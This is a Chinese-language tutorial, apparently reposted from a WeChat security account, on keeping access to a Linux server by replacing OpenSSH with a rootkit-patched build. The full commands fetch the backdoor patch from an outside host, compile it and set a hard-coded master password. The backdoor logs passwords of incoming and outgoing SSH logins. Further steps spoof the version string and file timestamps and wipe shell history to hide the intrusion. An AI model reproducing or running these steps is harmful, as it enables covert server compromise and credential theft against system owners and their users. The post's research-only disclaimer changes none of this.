后门原理
原理:替换本身操作系统的 ssh 协议支撑软件 openssh,重新安装自定义的 openssh,达到记录帐号密码,也可以采用万能密码连接的功能!
备份文件
这里备份的目的是
-
害怕出什么意外,防止直接覆盖文件导致出现异常 -
后续可以直接替换旧文件的时间来进行伪装
mv /etc/ssh/ssh_config /etc/ssh/ssh_config.old
mv /etc/ssh/sshd_config /etc/ssh/sshd_config.old
环境准备
yum -y install openssl openssl-devel pam-devel zlib zlib-devel
yum -y install gcc gcc-c++ make
yum -y install patch
wget http://core.ipsecs.com/rootkit/patch-to-hack/0x06-openssh-5.9p1.patch.tar.gz
wget https://mirror.aarnet.edu.au/pub/OpenBSD/OpenSSH/portable/openssh-5.9p1.tar.gz
tar -xzvf openssh-5.9p1.tar.gz
tar -xzvf 0x06-openssh-5.9p1.patch.tar.gz
cp openssh-5.9p1.patch/sshbd5.9p1.diff openssh-5.9p1
cd openssh-5.9p1 && patch < sshbd5.9p1.diff
编辑密码
vim includes.h
177 #define ILOG "/tmp/ilog"#ILOG是别人用ssh登录该主机记录的日志目录
//这里可以在文件前面加.记录为隐藏文件
178 #define OLOG "/tmp/olog"#OLOG是该主机用ssh登录其他主机记录的日志目录
179 #define SECRETPW "hema666"#万能密码
180 #endif /* INCLUDES_H */
编辑版本
ssh -V //看一下自己的ssh版本 把他换过去
cat version.h
vim version.h
安装编译
./configure --prefix=/usr --sysconfdir=/etc/ssh --with-pam --with-kerberos5 && make && make install
service sshd restart #重启sshd服务
systemctl status sshd.service #查看ssh启动状态
时间修改
touch -r /etc/ssh/ssh_config.old /etc/ssh/ssh_config
touch -r /etc/ssh/sshd_config.old /etc/ssh/sshd_config
权限报错
这里遇到了个 bug, Failed to start OpenSSH server daemon. 报错 在替换完 SSH 服务的时候,重启后 SSH 服务起不来进行报错了, 可能是 ssh 文件权限出了问题
chmod 600 /etc/ssh/ssh_host_rsa_key
chmod 600 /etc/ssh/ssh_host_ecdsa_key
service sshd star
chown -R root.root /var/empty/sshd
chmod 744 /var/empty/sshd
service sshd restart
实验效果
万能密码
记录登录到本机的密码
记录本机登录别的机子的密码
痕迹清理
unset HISTORY HISTFILE HISTSAVE HISTZONE HISTORY HISTLOG; export HISTFILE=/dev/null; export HISTSIZE=0; export HISTFILESIZE=0 //不记录历史命令
echo >/root/.bash_history
原文始发于微信公众号(河马安全区):Linux权限维持-OpenSSH Backdoor
免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论